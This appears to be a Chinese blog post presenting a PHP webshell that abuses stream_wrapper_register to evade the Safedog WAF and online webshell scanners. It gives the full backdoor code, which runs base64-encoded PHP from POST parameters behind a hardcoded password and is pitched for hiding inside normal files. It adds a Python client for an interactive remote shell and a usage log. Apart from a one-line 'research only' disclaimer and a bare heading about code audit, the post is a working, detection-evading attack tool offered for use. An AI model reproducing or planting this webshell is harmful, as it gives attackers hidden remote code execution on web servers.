安全狗绕过是一个比较热门的话题?反正我这边这个Shell
经过 安全狗、https://scanner.baidu.com 、http://n.shellpub.com 的检测,没检测出来,美滋滋。
检测结果
产生原理 通过PHP函数 stream_wrapper_register
注册包装器,检测特定的URL包装功能,监控 include
流,在 include
流中动态生成PHP代码,本来是用来做PHP源代码加密的,但是想了下,好像这种方式还没有被安全狗检测,翻阅了大部分安全狗的检测机制,讲道理没有看到有关的文献。具体原理参考我的上一篇文章,不打算菜刀适配(其实是菜刀的运行原理我看起来头晕)。
Shell代码 代码稍微有些长,适合隐藏在正常的文件中使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php class ShellStream { protected $position; protected $code; public function stream_open ($path, $mode, $options, &$opened_path) { $url = parse_url($path); $name = $url["host" ]; $this ->code = base64_decode($name); $this ->position = 0 ; return true ; } public function stream_read ($count) { $ret = substr($this ->code, $this ->position, $count); $this ->position += strlen($ret); return $ret; } public function stream_tell () { return $this ->position; } public function stream_eof () { return $this ->position >= strlen($this ->code); } public function stream_seek ($offset, $whence) { switch ($whence) { case SEEK_SET: if ($offset < strlen($this ->code) && $offset >= 0 ) { $this ->position = $offset; return true ; } else { return false ; } break ; case SEEK_CUR: if ($offset >= 0 ) { $this ->position += $offset; return true ; } else { return false ; } break ; case SEEK_END: if (strlen($this ->code) + $offset >= 0 ) { $this ->position = strlen($this ->code) + $offset; return true ; } else { return false ; } break ; default : return false ; } } public function stream_stat () { return []; } public static function shell () { if (isset ($_POST['password' ]) && $_POST['code' ]) { stream_wrapper_register('shell' , ShellStream::class); if ($_POST['password' ]=='dxkite' ) { $code = $_POST['code' ]; include 'shell://' .$code; } else { include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7' ; } } } } ShellStream::shell();
利用脚本 不打算做菜刀适配,本文仅供安全研究
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requests import base64import sysdef send_raw (url,password,cmd) : res=requests.post(url,{ 'password' :password, 'code' : base64.b64encode(cmd.encode('utf-8' )) }) return res.text def send_php_shell (url,password,cmd) : return send_raw(url,password,'<?php ' +cmd) if __name__ == '__main__' : if len(sys.argv) <= 1 : print('Usage:\r\n\tpython shell.py url password' ) sys.exit(0 ) url = sys.argv[1 ] password =sys.argv[2 ] while True : cmd = input('php-shell>' ) if cmd == 'exit' : break elif cmd.startswith('run' ): cmd,path = cmd.split(' ' ,1 ) code = '' with open(path) as f: for line in f: code = code + line + "\r\n" response = send_raw(url,password,code); print(response) else : response = send_php_shell(url,password,cmd); print(response)
使用实例 1 2 3 4 5 6 7 PS D:\Server\Local\suda\public\assets\eval> python .\shell.py 'http://suda.atd3.org/assets/eval/shell.php' dxkite php-shell>echo 'hello,dxkite'; hello,dxkite php-shell>echo __FILE__; D:\Server\Local\suda\public\assets\eval\6070fc111c81737d263f97471b4f31ee.shell php-shell>exit PS D:\Server\Local\suda\public\assets\eval>
代码审计避免此类Shell